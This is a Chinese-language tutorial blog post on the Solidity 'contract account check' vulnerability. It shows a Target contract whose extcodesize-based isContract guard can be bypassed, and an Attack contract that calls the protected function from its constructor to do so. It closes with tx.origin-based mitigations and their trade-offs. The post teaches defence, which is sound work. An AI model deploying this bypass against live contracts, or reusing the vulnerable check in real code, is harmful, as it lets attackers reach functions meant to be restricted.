Solidity 智能合约安全漏洞——合约账户检查漏洞

在 Solidity 智能合约开发中,开发人员通常会使用各种检查机制来确保合约的安全性。其中一种常见的做法是利用 extcodesize 函数检查调用者地址的代码大小,从而区分合约账户和外部账户(EOA)。然而,如果这一机制被误用,攻击者就可以利用合约构造函数中的临时漏洞绕过检查,发起恶意行为。

漏洞原理解析

智能合约在初次部署时,会先执行构造函数代码。**在构造函数执行完毕之前,新部署的合约地址上实际上还没有任何字节码存在。**这就导致了基于 extcodesize 检查的一个盲区:如果攻击者在构造函数中立即调用目标合约,由于此时攻击合约地址上的字节码尚未存储,extcodesize(address(this)) 会返回 0,从而绕过 isContract 检查。

contract Attack {
    constructor(address _target) {
        // 此时 extcodesize(address(this)) == 0
        // 绕过目标合约的isContract检查
        Target(_target).isContract(address(this));
    }
}

上述代码展示了一个典型的攻击流程。Attack 合约在构造时传入 Target 合约地址,并在构造函数内部立即调用 Target.isContract()函数。由于 Attack 尚未完成部署,所以 isContract(address(this)) 会返回 false,攻击者就可以越过这层防护调用受保护的函数。

漏洞攻击演示

Target 合约中有状态变量 pwned,默认值为 false,该合约设计的初衷是只有 EOA 账户才能修改它的值,合约账户则不被允许,它通过 isContract 函数来达到此目的,该函数依赖于 extcodesize 方法。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

如下为尝试发起漏洞攻击的 FailedAttack 合约,这个合约的逻辑非常简单,它通过 pwn 函数调用了 Target 合约,但并不会成功。

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

1.我们使用账户 0x5B3…dC4分别部署这两个合约,并调用 pwn 函数,发现 Target 合约还是准确的识别了调用者为合约账户,而非 EOA 账户。

请添加图片描述
请添加图片描述

2.接下来我们部署如下的攻击合约,该合约在构造函数中完成了攻击。

contract Attack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

3.Target 合约此时的状态变量 pwned 已是 true,而 Attack 合约记录的状态变量 isContract 也显示它并不是合约,所以,成功的绕过了目标合约的合约检查。

请添加图片描述

防范措施

合约账户检查漏洞破坏了开发者为保护关键函数而设置的检查机制,攻击者可以在未经授权的情况下调用原本只对 EOA 地址开放的函数。这为攻击者利用这些关键函数实施其他恶意行为,如盗取资产、篡改数据等,带来了极大风险。

要修复这个漏洞,我们可以不依赖 extcodesize 进行检查,而是直接比较 tx.origin 和 msg.sender 是否相同。由于 tx.origin 一定是 EOA 地址,因此可以有效区分合约和 EOA 调用。

function isContract(address account) public view returns (bool) {
    require(tx.origin == msg.sender);
    return account.code.length > 0;
}

尽管 tx.origin == msg.sender 检查看似简单直接,但也存在上述一些缺陷和风险。

1.**额外的 Gas 开销:**相比直接使用 extcodesize 检查,利用 tx.origin 执行 EVM 操作码 origin 需要更多的 Gas 开销。

2.**不利于多签名钱包等复杂场景的支持:**tx.origin 固定指向最初发起交易的 EOA 地址,无法适应多签名钱包等复杂的调用场景。在这些场景下,使用 tx.origin 会带来不便。

因此,在实际应用中,需要结合具体的业务场景和安全要求,权衡选用何种防御手段。同时也需要注意,单一利用 tx.origin 并不能完全阻挡所有的攻击,结合其他手段进行多层防御更为可靠。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值